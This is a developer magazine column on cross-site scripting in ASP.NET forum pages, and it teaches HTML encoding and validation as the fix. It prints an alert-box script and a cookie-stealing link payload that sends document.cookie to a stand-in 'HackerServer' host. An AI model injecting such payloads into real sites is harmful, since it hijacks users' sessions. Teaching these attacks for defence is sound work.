UI Tips

LANGUAGES: All Languages

ASP.NET VERSIONS: 1.0, 1.1

XSS Happens

Don't Forget about Cross-site Scripting Attacks

By Brad McCabe

John Paul Mueller's February asp.netPRO article was about building secure ASP.NET applications (see 7 Tips for Secure Apps). This column continues in that vein.

The biggest challenge to developing secure applications is that most programmers don't know they're writing insecure applications. Let's look at a simple example, a forum-type application. However, any application that displays data entered by a user is a potential target.

First we'll create a simple page that accepts a name and some text from a user and stores that information in a database. When the page is rendered, it displays the previous posts in a grid at the top of the page (see Figure 1).

Figure 1: Our sample page.

This appears to be a harmless application, and the concept is something that many people have done in their applications before. But let's look at this as a hacker might. What if I entered:

<script>alert('Got You!');</script>

in the text area, and clicked the button? The grid will render the JavaScript that was set by the potential hacker, and the alert will fire and display a popup window (see Figure 2).

Figure 2: Harmless app? Or hacker handiwork?

If you're attempting this in ASP.NET 1.1 you'll see an error, as shown in Figure 3. This is because ASP.NET 1.1 has some built-in protection against obvious attempts at cross-site scripting (XSS) attacks. This protection is better than nothing, but shouldn't be relied on. There are ways for a hacker to get around it. The goal of security and good application design should always be layer upon layer; no one defense should be counted on as the magic bullet. The goal is to frustrate a hacker's attempts so the hacker simply moves on.

Figure 3: ASP.NET 1.1 has some built-in protection against obvious attempts at cross-site scripting attacks.

Displaying an alert box hardly seems like anything to worry about, but what if our hacker injected something like this:

<a href="javascript:document.location.replace(

  'http://HackerServer/EvilPage.aspx?Cookie='

  %2Bdocument.cookie);">

  Yes, I want to claim my one million dollars!

</a>

Now when the user clicks on the link to win their million dollars, see "artwork" of their favorite celebrity, or follow a link to an interesting ASP.NET article, their cookies for the original site are sent to the hacker's Web site. With this information the hacker can log in to the original site as the victim.

Our example page simply echoed the cookie contents, so you could see that the session information (and any other data in the cookie) has been stolen. However, the evil page would look more legitimate (see Figure 4).

Figure 4: Legitimizing the look of an evil page.

This theft of personal information (and potentially more) was possible because, as an ASP.NET developer, we didn't lock down our application. All the hardened routers, SSL connections, and latest patches won't prevent this attack.

The solution to preventing cross-site scripting attacks is straightforward: Validate the input with things such as the ASP.NET built-in page validation that we saw earlier, with regular expressions, or with validation controls. In addition, never display data without encoding it into HTML.

To solve our problem, we've encoded the data as it goes into the database, using HttpUtility.HtmlEncode:

Me.SqlCommand1.Parameters("@Name").Value =

  HttpUtility.HtmlEncode(TextBox1.Text)

This ensures that any other developer reading and displaying this data doesn't mistakenly render potentially bad text. This should also be done at display time as well, just in case a hacker finds a way to inject malicious scripts into the database.

Figure 5: A few simple lines of code can help protect our applications and our application users.

Once this application is better secured, the resulting output should resemble Figure 5. As you can see, we can help protect our applications, and our applications' users, from cross-site scripting attacks with a few simple lines of code.

I encourage you to explore more about security issues with such books as Michael Howard's Writing Secure Code, and events, such as DevDays (http://msdn.microsoft.com/events/devdays/).

The files accompanying this article are available for download.

Brad McCabe is the technical evangelist for Infragistics. Brad also has been a systems architect and consultant for Verizon Communications and many other clients, and he was a leading .NET evangelist within Ajilon Consulting. His primary interests include ASP.NET, Windows CE .NET, .NET Compact Framework, and Microsoft's networking technologies. E-mail him at mailto:uitips@aspnetPRO.com.